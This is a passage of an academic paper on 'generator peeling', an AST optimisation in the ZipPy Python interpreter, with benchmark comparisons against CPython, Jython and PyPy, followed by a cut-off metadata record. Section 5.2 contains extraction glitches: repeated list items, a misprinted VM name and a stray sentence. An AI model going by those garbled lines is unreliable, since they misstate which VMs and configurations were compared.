assignment transfers the value of \texttt{a} from the generator body to the following loop body. The loop body in turn consumes the “yielded” value of \texttt{i}. The transformation peels off the generator loop, and removes both calls, to \texttt{fib} and \_\_next\_\_. The optimized program does not create a generator object. It eliminates the step one and simplifies the step three shown in Figure 8. These two steps do not contribute to the real computation. The numbers on the right of Figure 10 denote the corresponding execution steps of the original generator loop shown in Figure 8. The two assignments preceding the transformed generator body and the loop body (grayed in Figure 10) preserve the correct data flow into and out of the generator code. We simplified the pseudo code shown in Figure 10 for clarity. Our transformation is not limited to the case where the call to the generator function happens at the beginning of the consuming loop. If the creation of the generator object happens before the loop, we apply the same transformation that combines the generator body with the loop body. We explain the actual AST transformation in more detail in Section 4.2. 4.2 Peeling AST Transformations Figure 11(a) shows the AST transformation of our Fibonacci example. The upper half of the figure shows the AST of the generator loop. The AST contains a \texttt{CallGenNode} that calls the generator function \texttt{fib}, and returns a generator object to its parent node. The parent \texttt{ForNode} representing the for loop then iterates over the generator. The lower half of the figure shows the AST of the generator function \texttt{fib}. Note that the generator body AST uses generator control nodes and includes the \texttt{YieldNode} that returns the next Fibonacci number to the caller. The figure also illustrates the two-step peeling AST transformation. First we replace the ForNode that iterates over the generator with the AST of the generator body. Second, we clone the AST of the loop body and use it to replace the YieldNode in the generator body. Figure 11(b) shows the result of the transformation. We use a PeeledGenLoopNode to guard the transformed generator body. The PeeledGenLoopNode receives the arguments from the ArgumentsNode and passes them the transformed generator body. The FrameTransferNode transfers the Fibonacci number stored in the variable a to the following loop body (equivalent to step three in Figure 10). The transformed loop body in turn consumes the “yielded” number. ZipPy implements a number of different versions of PeeledGenLoopNode to handle different loop setups. For instance, a generator loop could consume an incoming generator object without calling the generator function at the beginning of the loop. The transformed PeeledGenLoopNode in this case guards against the actual call target wrapped by the incoming generator object and receives the arguments from the generator object. 4.3 Polymorphism and Deoptimization ZipPy handles polymorphic operations by forming a chain of specialized nodes with each node implementing a more efficient version of the operation for a particular operand type. The interpreter then dispatches execution to the desired node depending on the actual type of the operand. Like other operations in Python, the type of the iterator coming into a loop can change at runtime. A loop that iterates over multiple types of iterators is a polymorphic loop. Generator peeling is a loop specialization technique that targets generators, a particular kind of iterators. ZipPy handles polymorphic loops by forming a chain of specialized loop nodes including PeeledGenLoopNodes. A PeeledGenLoopNode checks the actual call target of the incoming iterator before it executes the optimized loop. As shown in Figure 12, if the target changes, then the execution --- **Figure 11.** Peeling AST transformation falls through to the original loop node. ZipPy is able to apply an additional level of the generator peeling transformation for the new iterator type if it happens to be a generator as well. However, forming a polymorphic chain that is too deep could lead to code explosion. If the depth of the chain goes beyond a pre-defined threshold, ZipPy stops optimizing the loop and replaces the entire chain with a generic loop node. The generic loop node is capable of handling all types of incoming iterators but with limited performance benefit. ### 4.4 Frames and Control Flow Handling The AST of the optimized generator loop combines nodes from two different functions and therefore accesses two different frame objects. Programmers can use non-local control flows such as breaks or continues in a generator loop body. We explain how to handle frames and such control flows in the rest of this section. #### Frame Switching The transformed AST illustrated in Figure 11(b) accesses two frames: the caller frame and the generator frame. Figure 13 shows the layouts of the two frames. The nodes belonging to the caller function read from and write to the caller frame to access its local variables. The generator body nodes do so through the generator frame. The PeeledGenLoopNode allocates the generator frame and passes it to the dominated generator body. To enable caller frame access in the deeply nested loop body, the node also passes over the caller frame. Therefore, in the sub-tree dominated by the PeeledGenLoopNode, both frames are accessible. ![Figure 13. The caller and generator frame objects of the Fibonacci example](image) Although keeping both frames alive and accessible, the interpreter picks one frame object as the current frame and retains the other one as the background frame. It passes the current frame to every `execute` method of the AST nodes as an argument for faster access. The current frame stores a reference to the background frame. The accesses to the background frame require one more level of indirection. In the generator body shown in Figure 11(b), the interpreter sets the generator frame as the current frame. The FrameTransferNode propagates the values of `a` in the generator frame to `i` in the caller frame. This value propagation corresponds to step 3 in Figure 8 and Figure 10. The following FrameSwitchingNode swaps the positions of the two frames and passes the caller frame as the current frame to the dominated loop body. Truffle’s underlying JIT compiler optimizes frame accesses. It eliminates frame allocations as long as references to the frame object are not stored on the heap. A generator stores its execution state by keeping a frame object reference on the heap. Therefore, the generator AST introduced in Section 3.2 prevents this frame optimization. After generator peeling, however, the program does not create and iterate over generators. It is not necessary to adopt generator control nodes in the “inlined” generator body and store frame object references on the heap. As a result, the compiler can successfully optimize frame accesses in the transformed generator loop regardless of the number of frames. For generator functions containing multiple yields, we apply the same transformation to each YieldNode. The resulting AST contains more than one loop body, hence multiple FrameSwitchingNodes. We rely on the control-flow optimizations of the underlying compiler to minimize the cost of this replication. Merging both frames could also guarantee correct frame accesses in the transformed AST. However, this process is more complicated. Merging frames combines the allocations of both frames, which requires redirecting all frame accesses to the combined frame. Upon deoptimization, we need to undo the merge and redirect all frame accesses back to their separate frames. This process becomes more complex for the nested generator loop scenario which we explain more in Section 4.6. Since the underlying compiler is able to optimize multiple frame objects, merging frames does not produce faster code. #### Breaks and Continues ZipPy implements break and continue statements using Java exceptions. A BreakNode throws a break exception, and then a parent node catches the exception. The control flow exception skips all the nodes between the throwing node and the catching node. The location of the catch clause determines what the exception can skip. Figure 5(b) shows the catch clause in a GenWhileNode. The node catches the break exception after the while loop, hence the exception breaks the loop. Similarly, a continue exception caught in the loop body quits the current iteration and continues with the next iteration. There are no labeled break or continue statements. in Python. Thus, a control flow exception does not go beyond its enclosing loop. Furthermore, we can extract the exception catch clauses to dedicated nodes to construct more complicated control structures. A generator loop body may contain break or continue statements that target the generator loop. Generator peeling replaces the generator loop and embeds the loop body inside the generator body. To properly handle breaks in the loop body, we interpose a `BreakTargetNode` between the caller and the generator body as shown in Figure 14(a). The nested `BreakNode` throws a dedicated break exception to skip the generator body, before it reaches the `BreakTargetNode`. After catching the exception, the `BreakTargetNode` returns to its parent and skips the rest of the generator loop. We handle continues by interposing a `ContinueTargetNode` between the loop body and the generator body (see Figure 14(b)). A continue exception skips the rest of the nodes in the loop body and returns execution to the generator body. This control flow is equivalent to what a `continue` does in the original generator loop, that is resuming the generator execution from the statement after the last yield. The above mentioned interposition is only necessary when the optimized loop body contains break or continue statements. As we explained in Section 3.2, the underlying compiler optimizes control-flow exceptions into direct jumps. Therefore, the exception-based control handling has no negative impact on peak performance. 4.5 Implicit Generator Loops An implicit generator loop consists of a generator expression that produces a generator, and a function call that consumes the generator. ZipPy applies additional transformation on implicit generator loops to enable further optimizations such as generator peeling. Figure 15 illustrates this two-step process. First, we inline the function `sum` to expose the loop that consumes the generator (see Figure 15(b)). The inlining step triggers an escape analysis of all the generator expressions in the current scope. If our analysis finds a generator expression such that the generator it produces does not escape the current scope and a generator loop that consumes the produced generator exists, ZipPy desugars the expression to a generator function (see Figure 15(c)). Note that the desugared generator function redirects the references to the enclosing scope to the argument accesses in the local scope. This redirection eliminates non-local variables in the generator expression and allows the compiler optimization for the enclosing frame. The desugaring also replaces the generator reference in the inlined loop to a function call. The transformation exposes the explicit generator loop that we can optimize using generator peeling. One obstacle when optimizing an implicit generator loop is that the function consuming the generator can be a Python built-in function. Programmers can use any built-in function that accepts iterable arguments in an implicit generator loop. Table 1 lists all the Python 3 built-in functions that accept iterables and divides them into three different categories: 1. **Implement in Python**: Convenience functions that one can write in pure Python. ZipPy implements these functions using Python code. They share the same inlining approach with user defined functions. 2. **Synthesize to loop**: Constructors of immutable data types in Python. Cannot be written in pure Python without exposing internal data representations of the language. 1. Implement in Python 2. Synthesize to loop 3. No loop <table> <thead> <tr> <th>all, any</th> <th>bytes</th> <th>iter</th> </tr> </thead> <tbody> <tr> <td>bytearray</td> <td>dict</td> <td>next</td> </tr> <tr> <td>enumerate</td> <td>frozenset</td> <td></td> </tr> <tr> <td>filter, list</td> <td>set</td> <td></td> </tr> <tr> <td>map, max</td> <td>tuple</td> <td></td> </tr> <tr> <td>min, sorted</td> <td></td> <td></td> </tr> <tr> <td>sum, zip</td> <td></td> <td></td> </tr> </tbody> </table> Table 1. Python Built-in functions that accept iterables runtime. The current solution is to speculatively intrinsify the built-in call by replacing the call node with a synthesized AST. The synthesized AST contains the generator loop and constructs the desired data type. The intrinsified call site exposes the generator loop and enjoys the same peeling optimization. 3. No loop: Contains no loop. We exclude them from the optimization. 4.6 Multi-level Generator Peeling ZipPy relies on the tiered execution model of the underlying framework. It starts executing a Python program in interpretation mode. The interpreter collects runtime information and inlines function calls that are hot. We apply function inlining using an inlining budget. This budget helps to prevent code explosions caused by inlining too many calls or too big a callee. We perform generator peeling when a generator function call becomes hot, and possibly bail out if the transformation did not succeed. Generator peeling shares its budget with function inlining. If a generator peeling transformation is going to overrun the inlining budget, ZipPy aborts the transformation. After exhausting all possible inlining and peeling opportunities, Truffle compiles the entire AST into machine code. All subsequent calls to the compiled function execute at peak performance. An optimized generator loop might include another generator loop. We call these cases nested generator loops. Python programs can contain arbitrary levels of nested generator loops. Our optimization is capable of handling multiple levels of nested generator loops by iteratively peeling one loop layer at a time. It requires minimal modifications to our existing algorithms to handle this scenario. Figure 16 shows the AST of three nested generator loops after peeling transformations. In a simple case, an optimized generator loop consists of two parts: the inline generator body and the embedded loop body. To illustrate the relationships between these two program regions, we simplify the structure of the AST by using one node for each program region. A numbered solid circle denotes a generator body, and a numbered dashed circle denotes a loop body. An "inlined" generator body node is always associated with a loop body node as its immediate child. As shown in Figure 16, the first level peeling results in node one being the generator body and node two being the loop body. The second level peeling includes two optimized generator loops with nodes three and four extended from the generator body and nodes five and six extended from the loop body. Note that at any level in the tree, a next level peeling can either extend from the generator body or the loop body of the current level. More complicated cases recursively repeat the same tree structure as shown in Figure 16. Therefore, a working solution for the shown tree structure automatically extends to more complicated cases. The tree shown in the figure adheres to the following rules: Since it is a tree, every node only has one parent except the root node. Every solid node has an associated dashed node as its child but possibly not the only child. Every dashed node has an associated solid node as its only parent. Every dashed node must have one and only one grandparent. The arrows in Figure 16 depict the desired frame and control-flow handling. Every dashed node receives two frames: one from its parent and another one from its grandparent. Since every dashed node has a unique parent and a unique grandparent, there is no ambiguity on which two frames it receives. A continue returns from a dashed node to its associated solid node. Since the associated solid node is its only parent, no node can intercept this control-flow. Our existing algorithms therefore automatically cover frame handling and continue statements for nested generator loops. Break statements are more complicated. A break returns from a dashed node to its grandparent. However, its solid parent node may be the break target of another node and intercept the break exception. For instance, node one in the figure might catch the break exception thrown in node two or node four. This ambiguity may cause an incorrect break from node two. To resolve this issue, we need to label the overlapping break exceptions to filter out undesired ones. Since it is rare to have two nested generator loops that both use breaks, we consider this scenario as a corner case. In summary, our peeling transformation is able to handle arbitrary levels of nested generator loops. 5. Evaluation We evaluate the performance of our generator peeling implementation in ZipPy. We compare the performance of our system with existing Python VMs: CPython [20], Python [13] and PyPy [19]. Our system setup is as follows: - Intel Xeon E5462 Quad-Core processor running at a frequency of 2.8GHz, on Mac OS X version 10.9.3 build 13D65. - Apple LLVM 5.1, OpenJDK 1.8.0_05, Truffle/Graal 0.3 We run each benchmark ten times on each VM and average the execution times. For VMs that use a tiered execution strategy, we warm up the benchmarks to ensure that the code is just-in-time compiled. This allows us to properly measure peak performance. Benchmarks Selection We analyzed hundreds of programs listed on the Python Package Index [18]. We picked a set of programs that includes compute intensive benchmarks as well as larger applications. The following chosen programs use generators to various degrees: - nqueens is a brute force N-queens solver selected from the Unladen Swallow benchmark suite [2]. - The publicly available solutions to the first 50 Project Euler problems [1]: euler11 computes the greatest product of four adjacent numbers in the same direction in a matrix; euler31 calculates the combinations of English currency denominations. - Python Algorithms and Data Structures (PADS) library [9]: eratos implements a space-efficient version of sieve of Eratosthenes; lyndon generates Lyndon words over an s-symbol alphabet; partitions performs integer partitions in reverse lexicographic order. - pymaging is a pure Python imaging library. The benchmark draws a number of geometric shapes on a canvas. - python-graph is a pure Python graph library. The benchmark processes a deep graph. - simplejson is a simple, fast JSON library. The benchmark encodes Python data structures into JSON strings. - sympy is a Python library for symbolic mathematics. The benchmark performs generic unifications on expression trees. - whoosh is a text indexing and searching library. The benchmark performs a sequence of matching operations. We learned from our generator survey that popular HTML template engines written in Python use generators. There are two reasons we do not include them in our performance evaluation. First, we implement ZipPy from scratch. It is infeasible for us to support all Python standard libraries required to run these applications. Second, many of these applications are not compute intensive. They spent most of the execution time processing Unicode strings or in native libraries, which is not a good indicator of the VM performance. 5.1 The Performance of Generator Peeling Table 2 shows the results of our experiments. We use a score system to gauge VM performance. We calculate the score by dividing 1000 by the execution time of the benchmark. A score system is more intuitive than execution times for visualization purpose. It also offers a higher resolution for our performance measurements. We carefully chose the program inputs such that the resulting scores stay in the range between 10 and 1000. Larger inputs have limited impacts on the speedups of optimization. The second and third rows of Table 2 show the score of each benchmark without and with the generator peeling optimization respectively. The speedup row gives the speedups of our optimization. The geometric mean of the speedups is 3.58×. The following two rows of Table 2 show the number of generator loops and generator expressions (implicit generator loops) used in the benchmarks as well as how many of them are successfully optimized using generator peeling. The number on the left is the number of optimized generator loops, and the number on the right is the total number generator loops used in the benchmark. Note that we only count generator loops that are executed by the benchmarks, since these are the ones that we can potentially optimize. Table 2 also shows, for each benchmark, the number of lines of Python code in the bottom row. Performance Analysis Our experiments show that generator peeling covers most instances of generator loops used in the benchmarks and results in speedups of up to an order of magnitude. The following four steps explain how we obtain this performance. 1. Generator peeling eliminates the allocation of generator objects. 2. Generator peeling eliminates expensive suspend and resume control-flow transfers and replaces them with local variable assignments. 3. The optimized generator loops avoid the use of generator ASTs, which enables frame optimizations provided by the underlying JIT compiler. The implicit generator loop transformation eliminates the closure behavior of the generator expressions and enables frame optimization of the enclosing scope. 4. Generator peeling increases the scope of optimizations for the underlying compiler. As a result, generator peeling creates more optimization opportunities for the compiler, resulting in better optimized code. To verify that generator peeling completely eliminates the overhead incurred by generators, we rewrote the benchmark nqueens to a version that only uses loops instead of generators. We compare the scores of ZipPy running the modified version and the original benchmark with generator peeling enabled. We found that generator peeling delivers the same performance on the original benchmark as manually rewriting generator functions to loops. However, the number of optimized generator loops does not directly relate to the speedups we observed. The time each program spends in generator loops varies from one to another. The shorter the time a program spends in generator loops, the smaller the speedup resulting from our optimization. For each generator loop, the overhead-to-workload ratio is the overhead incurred by the generators divided by the actual computation performed in the loop. Generator loops with a higher overhead-to-workload ratio achieve higher speedups from generator peeling. Loops in which the actual computation dominates overall execution benefit less from generator peeling. For instance, euler11 is a compute intensive program where generator overhead dominates the execution. Generator peeling transfers the program into nested loops that perform mostly arithmetic, which is an ideal optimization target for the JIT compiler. On the other hand, larger programs like python-graph contain extensive use of user-defined objects and other heap-allocated data structures. The overhead-to-workload ratio in such programs is relatively low. Although having the same number of generator functions optimized, generator peeling results in different speedups in these two programs. Despite the fact that larger Python programs exhibit a large number of type changes, generator loops tend to remain stable. Programmers tend to write generator loops that consume generator objects produced by the same generator function. In our experiments, we only found a few number of polymorphic generator loops, which, as described in Section 4.3, our optimization is able to handle. When optimizing nested generator loops, ZipPy starts by peeling off the root layer in a non-generator caller. If it successfully optimizes the first layer, ZipPy continues to peel off subsequent layers. If this iterative process fails at one layer, ZipPy stops peeling. The benchmark euler31 and sympy include recursive generator functions that contain calls to itself. Such a recursive generator function effectively contains infinite levels of generator loops. In other words, the optimized generator body always contain a generator loop that calls the same generator function. The fixed inlining budget only allows ZipPy to optimize the first few invocations of a recursive generator function to avoid code explosion. Generator peeling has limited impact on the performance of a deep recursive call to such a generator function. This incomplete coverage of recursive generator functions is an implementation limitation. Generator peeling is essentially a speculative AST level transformation that is independent from JIT compilation. Not only does it improve peak performance, it also speeds up interpretation before the compilation starts. Generator peeling does not introduce new optimization phases to the compiler, rather it simplifies the workload for the underlying compiler. For the nested generator loops case, generator peeling does increase the AST size but it also reduces the number of functions that need to be compiled. In general, generator peeling has negligible impact on the compilation times. ### 5.2 Comparison with Existing Python VMs To fully evaluate our optimization, we compare the performance of ZipPy with generator peeling against CPython, PyPy and Jython. The VM versions used in the comparison and the description of their execution models are as follows: - CPython 2.7.6 and 3.4.0: Interpreter only. - Jython 2.7-beta2: Python 2 compliant, hosted on JVMs. - CPython 2.7.6 and 3.4.0: Interpreter only. Jython and PyPy. The VM versions used in the comparison and the description of their execution models are as follows: - PyPy 2.3.1 and PyPy3 2.3.1: Python 2 and 3 compliant respectively. Uses a meta-tracing JIT compiler that compiles Python code to machine code. Python 3 is not backward compatible with Python 2. Although ZipPy exclusively supports Python 3, including well-established Python 2 VMs in the comparison highlights the potential of our optimization. The benchmarks we chose support both Python 2 and 3. The same code, however, suffers from a slight difference in the semantics interpreted by different VMs. Figure [17] shows the performance of different Python VMs running the selected benchmarks relative to our baseline, CPython 3.4.0. The average speedups of PyPy3 and ZipPy against CPython 3 are 10.53× and 20.59×, respectively. These numbers improve performance by an order of magnitude relative to other VMs. To give a better overview of ZipPy’s performance, we include experiment results on additional popular benchmarks in the Appendix (Table 4 and Table 5). The additional benchmarks include compute intensive ones from the Computer Language Benchmarks Game [10] as well as object-oriented ones that are frequently used to evaluate VM performance. These benchmarks do not contain generator loops that are performance critical, hence they cannot benefit from generator peeling. However, including these additional results demonstrate ZipPy’s performance on a wider selection of programs. **ZipPy vs. PyPy** PyPy is the state-of-the-art implementation of Python that implements a meta-tracing JIT compiler for aggressively optimizing Python programs [4, 21]. PyPy is fairly mature and complete compared to ZipPy. ZipPy on the other hand is more lightweight in terms of implementation effort. It benefits from low-cost speculative type specialization, which is the most critical performance optimization for dynamic languages. ZipPy does not have to invest or maintain its own compilation infrastructure. It relies on the underlying Java compiler to JIT compile Python code. The Java JIT compiler is, in general, more sophisticated and aggressive than the one in PyPy. Any additional optimizations added to Truffle will automatically benefit our system. **PyPy’s Generator Optimization** PyPy also supports a generator optimization that primarily targets simple generator functions in its recent releases. Figure [18(a)] shows an example generator loop (left) that consumes a simple generator function (right). We use this ex- example to demonstrate PyPy’s optimization. PyPy is able to trace the execution of the loop and compiles it into machine code. The trace compiler inlines the implicit call to the generator’s `next` method into the loop body. It does so by constant folding the last instruction pointer on the generator frame, which stores the suspended program location in the generator. The subsequent compiler optimizations convert the `yield` operation to a direct jump. However, generator frame accesses are not fully optimized, since its allocation happens outside the trace and cannot be seen by the JIT compiler. PyPy’s trace compiler compiles linear execution paths into machine code. Different iterations of a generator loop are likely to be compiled into different traces. Figure 18(b) illustrates two different traces the compiler generates for our example. We simplified the intermediate representation format in PyPy’s trace to make it more readable. The first iteration of the loop goes into trace one; the remaining iterations execute in trace two. More complicated control structures and multiple yields in a generator function introduce more branches in the consuming loop. The number of traces generated by the compiler increases for more complicated generators. As a result, the execution of an optimized generator loop has to switch between different traces. Not only does the trace switching incur slow paths, it also increases instruction cache misses. Currently more complicated generators are not properly optimized by PyPy. Generator peeling on the other hand is able to optimize more complicated generators. ZipPy using the underlying method-based JIT compiler compiles the entire transformed generator loop into machine code, and completely removes overheads incurred by a generator. Moreover, by analyzing the assembly code produced by both JIT compilers, we found that, even for a simple generator case, Truffle is able to produce more efficient machine code. The parallelization of ZipPy without generator peeling, relative to PyPy3 (Python 3). The overall performance of ZipPy without generator peeling is competitive with PyPy3. However, by enabling generator peeling, our system outperforms PyPy3 by a factor of two. 6. Discussion Besides Python, other mainstream dynamic languages also support generators, e.g., Ruby and JavaScript (ECMAScript 6). We plan to integrate the work described in this paper into the Truffle framework, so that other languages can also benefit from high-performance generators. The guest language can use Java interfaces or annotations to communicate with the framework and provide hints about their implementations of generator related nodes. Using those hints, the framework can apply similar transformations without requiring explicit knowledge of the guest language internals. Another way to speed up generators is to parallelize them. A generator that does not share mutable state with its caller can be parallelized while preserving correctness. We can execute such a parallelizable generator in a separate thread and let it communicate with the caller using a bounded FIFO queue. The parallelized generator produces values in batch into the FIFO queue, without having to wait for the consumer to request the next one. The consumer fetches a value from the FIFO queue without waiting for the next value to arrive, and continues with the next iteration. To preserve lazy execution of generators, we need to limit the size of the FIFO queue. This restriction on size also helps reducing memory consumption. The parallelization of generators does not target any particular pattern of using generators, but applies to all generators. Our preliminary results indicate that we can double the performance of generators in this way. 7. Related Work Murer et al. [17] presented the design of Sather iterators derived from the iterators in CLU [14]. Sather iterators encapsulate their execution states and may “yield” or “quit” to the main program. This design inspired the design of generators in Python. Stadler et al. \cite{23} presented a coroutine implementation for the JVMs that can efficiently handle coroutine stacks by letting a large number of coroutines share a fixed number of stacks. Our generator solution does not rely on coroutine stacks and does not require modifications to the host language. In Ruby \cite{22}, methods may receive a code block from the caller. The method may invoke the code block using “yield” and pass values into the code block. Ruby uses this block parameter to implement iterators. An iterator method expects a code block from the caller and “yields” a series of values to the block. To optimize the iterator method, an efficient Ruby implementation can inline the iterator method to the caller and further inline the call to the code block. This optimization combines the iterator method and the code block in the same context, and resembles the generator peeling transformation. However, iterator methods in Ruby are different from generator functions in Python. They do not perform generator suspends and resumes. Generator peeling employs additional program analysis and high level transformations, hence is more sophisticated than straight forward call inlining. Both CLU \cite{3} and JMatch \cite{15} have both implemented a frame optimization for the iterator feature in their languages. To avoid heap allocation, their optimizations allocate iterator frames on the machine stack. When an iterator yields back to the caller, its frame remains intact on the stack. When resuming, the optimized program switches from the caller frame to the existing iterator frame by restoring the frame pointer, and continues execution. Their approaches, require additional frame pointer manipulation and saving the program pointer of the iterator to keep track of the correct program location. Generator peeling, on the other hand, is an interpretation level specialization, and does not introduce low-level modifications to the compiler to generate special machine code for generators. It allows compiler optimizations to map the caller frame and the generator frame accesses to the same machine stack frame, and does not require saving the generator function program pointer to resume execution. Therefore it is more efficient. Watt \cite{24} describes an inlining based technique that optimizes control-based iterators in Aldor, a statically typed language. His approach requires multiple extra steps that iteratively optimize the data structures and the control flows after the initial inlining. Generator peeling transforms the guest program AST in a single step before the compilation starts. It simplifies the workload for the underlying compiler and enables more optimizations. 8. Conclusion Many popular programming languages support generators to express iterators elegantly. Their ability to suspend and resume execution sets them apart from regular functions and make them harder to optimize. We address this challenge in context of a modern, optimizing AST-interpreter for Python 3. It leverages the Truffle framework for the JVM to benefit from type specialization and just-in-time compilation. We use a specialized set of control-flow nodes to suspend and resume generator functions represented as abstract syntax trees and present a generator peeling transformation to remove the overheads incurred by generators. Together, our optimizations transform common uses of generators into simple, nested loops. This transformation simplifies the control flow and eliminates the need for heap allocation of frames which in turn exposes additional optimization opportunities to the underlying JVM. As a result, our generator-bound benchmarks run 3.58× faster on average. Our techniques are neither limited to Python nor our language implementation, ZipPy. This means that programmers no longer have to choose between succinct code or efficient iteration—our solution offers both. Acknowledgments We thank Christian Wimmer and Carl Friedrich Bolz for their support and helpful comments, as well as the anonymous reviewers for their helpful suggestions, and proofreading. This material is based upon work partially supported by the Defense Advanced Research Projects Agency (DARPA) under contracts D11PC20024 and N66001-1-2-4014, by the National Science Foundation (NSF) under grant No. CCF-1117162, and by a gift from Oracle Labs. Any opinions, findings, and conclusions or recommendations expressed in this material are those of the authors and do not necessarily reflect the views of the Defense Advanced Research Projects Agency (DARPA), its Contracting Agencies, the National Science Foundation, or any other agency of the U.S. Government. References Appendix: Additional Benchmarks <table> <thead> <tr> <th>Benchmark</th> <th>CPython3</th> <th>CPython</th> <th>Jython</th> <th>PyPy</th> <th>PyPy3</th> <th>ZipPy</th> </tr> </thead> <tbody> <tr> <td>binarytrees</td> <td>5.40</td> <td>5.10</td> <td>10.76</td> <td>14.05</td> <td>14.60</td> <td>39.49</td> </tr> <tr> <td>fannkuchredux</td> <td>2.27</td> <td>2.20</td> <td>1.17</td> <td>101.24</td> <td>107.52</td> <td>198.94</td> </tr> <tr> <td>fasta</td> <td>15.52</td> <td>16.20</td> <td>24.13</td> <td>182.09</td> <td>174.55</td> <td>241.76</td> </tr> <tr> <td>mandelbrot</td> <td>9.00</td> <td>9.70</td> <td>3.03</td> <td>98.15</td> <td>97.35</td> <td>105.18</td> </tr> <tr> <td>meteor</td> <td>100.55</td> <td>102.83</td> <td>77.14</td> <td>265.43</td> <td>263.75</td> <td>213.77</td> </tr> <tr> <td>nbody</td> <td>10.12</td> <td>9.87</td> <td>7.40</td> <td>122.83</td> <td>122.07</td> <td>62.42</td> </tr> <tr> <td>pidigits</td> <td>77.02</td> <td>77.40</td> <td>47.59</td> <td>75.25</td> <td>73.02</td> <td>46.59</td> </tr> <tr> <td>spectralnorm</td> <td>0.90</td> <td>1.20</td> <td>1.70</td> <td>114.60</td> <td>114.52</td> <td>115.29</td> </tr> <tr> <td>float</td> <td>10.82</td> <td>10.23</td> <td>11.37</td> <td>93.57</td> <td>93.82</td> <td>191.68</td> </tr> <tr> <td>Richards</td> <td>16.77</td> <td>15.83</td> <td>20.35</td> <td>495.38</td> <td>490.70</td> <td>840.93</td> </tr> <tr> <td>chaos</td> <td>2.05</td> <td>2.40</td> <td>3.17</td> <td>83.77</td> <td>52.65</td> <td>139.94</td> </tr> <tr> <td>deltablue</td> <td>19.62</td> <td>16.77</td> <td>26.19</td> <td>590.25</td> <td>571.82</td> <td>460.37</td> </tr> <tr> <td>go</td> <td>23.15</td> <td>24.97</td> <td>46.16</td> <td>157.29</td> <td>154.07</td> <td>356.80</td> </tr> </tbody> </table> Table 4. The scores of Python VMs running additional benchmarks <table> <thead> <tr> <th>Benchmark</th> <th>CPython3</th> <th>CPython</th> <th>Jython</th> <th>PyPy</th> <th>PyPy3</th> <th>ZipPy</th> </tr> </thead> <tbody> <tr> <td>binarytrees</td> <td>1.00</td> <td>0.94</td> <td>1.99</td> <td>2.60</td> <td>2.70</td> <td>7.31</td> </tr> <tr> <td>fannkuchredux</td> <td>1.00</td> <td>0.97</td> <td>0.51</td> <td>44.53</td> <td>47.29</td> <td>87.50</td> </tr> <tr> <td>fasta</td> <td>1.00</td> <td>1.04</td> <td>1.55</td> <td>11.73</td> <td>11.24</td> <td>15.57</td> </tr> <tr> <td>mandelbrot</td> <td>1.00</td> <td>1.08</td> <td>0.34</td> <td>10.91</td> <td>10.82</td> <td>11.69</td> </tr> <tr> <td>meteor</td> <td>1.00</td> <td>1.02</td> <td>0.77</td> <td>2.64</td> <td>2.62</td> <td>2.13</td> </tr> <tr> <td>nbody</td> <td>1.00</td> <td>0.97</td> <td>0.73</td> <td>12.13</td> <td>12.06</td> <td>6.17</td> </tr> <tr> <td>pidigits</td> <td>1.00</td> <td>1.00</td> <td>0.62</td> <td>0.98</td> <td>0.95</td> <td>0.60</td> </tr> <tr> <td>spectralnorm</td> <td>1.00</td> <td>1.33</td> <td>1.89</td> <td>127.33</td> <td>127.25</td> <td>128.10</td> </tr> <tr> <td>float</td> <td>1.00</td> <td>0.95</td> <td>1.05</td> <td>8.64</td> <td>8.67</td> <td>17.71</td> </tr> <tr> <td>Richards</td> <td>1.00</td> <td>0.94</td> <td>1.21</td> <td>29.53</td> <td>29.25</td> <td>50.13</td> </tr> <tr> <td>chaos</td> <td>1.00</td> <td>1.17</td> <td>1.55</td> <td>40.88</td> <td>25.69</td> <td>68.28</td> </tr> <tr> <td>deltablue</td> <td>1.00</td> <td>0.85</td> <td>1.33</td> <td>30.08</td> <td>29.14</td> <td>23.46</td> </tr> <tr> <td>go</td> <td>1.00</td> <td>1.08</td> <td>1.99</td> <td>6.79</td> <td>6.66</td> <td>15.41</td> </tr> <tr> <td>mean</td> <td><strong>1.00</strong></td> <td><strong>1.02</strong></td> <td><strong>1.05</strong></td> <td><strong>12.15</strong></td> <td><strong>11.68</strong></td> <td><strong>15.34</strong></td> </tr> </tbody> </table> Table 5. The speedups of Python VMs normalized to CPython3 running additional benchmarks
{"Source-Url": "https://www.sba-research.org/wp-content/uploads/publications/oopsla14.pdf", "len_cl100k_base": 13516, "olmocr-version": "0.1.48", "pdf-total-pages": 17, "total-fallback-pages": 0, "total-input-tokens": 62403, "total-output-tokens": 15976, "length": "2e13", "weborganizer": {"__label__adult": 0.0003247261047363281, "__label__art_design": 0.0002009868621826172, "__label__crime_law": 0.00020623207092285156, "__label__education_jobs": 0.0003807544708251953, "__label__entertainment": 5.561113357543945e-05, "__label__fashion_beauty": 0.00012004375457763672, "__label__finance_business": 0.0001499652862548828, "__label__food_dining": 0.00030922889709472656, "__label__games": 0.00044655799865722656, "__label__hardware": 0.0006451606750488281, "__label__health": 0.000331878662109375, "__label__history": 0.0001678466796875, "__label__home_hobbies": 6.520748138427734e-05, "__label__industrial": 0.0002956390380859375, "__label__literature": 0.00019490718841552737, "__label__politics": 0.00020515918731689453, "__label__religion": 0.0003972053527832031, "__label__science_tech": 0.006328582763671875, "__label__social_life": 6.556510925292969e-05, "__label__software": 0.004116058349609375, "__label__software_dev": 0.984375, "__label__sports_fitness": 0.0002541542053222656, "__label__transportation": 0.00034165382385253906, "__label__travel": 0.0001672506332397461}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 66476, 0.05518]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 66476, 0.45122]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 66476, 0.83365]], "google_gemma-3-12b-it_contains_pii": [[0, 3936, false], [3936, 7720, null], [7720, 12251, null], [12251, 14928, null], [14928, 19549, null], [19549, 23797, null], [23797, 25884, null], [25884, 30637, null], [30637, 34164, null], [34164, 38463, null], [38463, 43440, null], [43440, 47854, null], [47854, 50675, null], [50675, 54728, null], [54728, 60390, null], [60390, 64015, null], [64015, 66476, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3936, true], [3936, 7720, null], [7720, 12251, null], [12251, 14928, null], [14928, 19549, null], [19549, 23797, null], [23797, 25884, null], [25884, 30637, null], [30637, 34164, null], [34164, 38463, null], [38463, 43440, null], [43440, 47854, null], [47854, 50675, null], [50675, 54728, null], [54728, 60390, null], [60390, 64015, null], [64015, 66476, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 66476, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 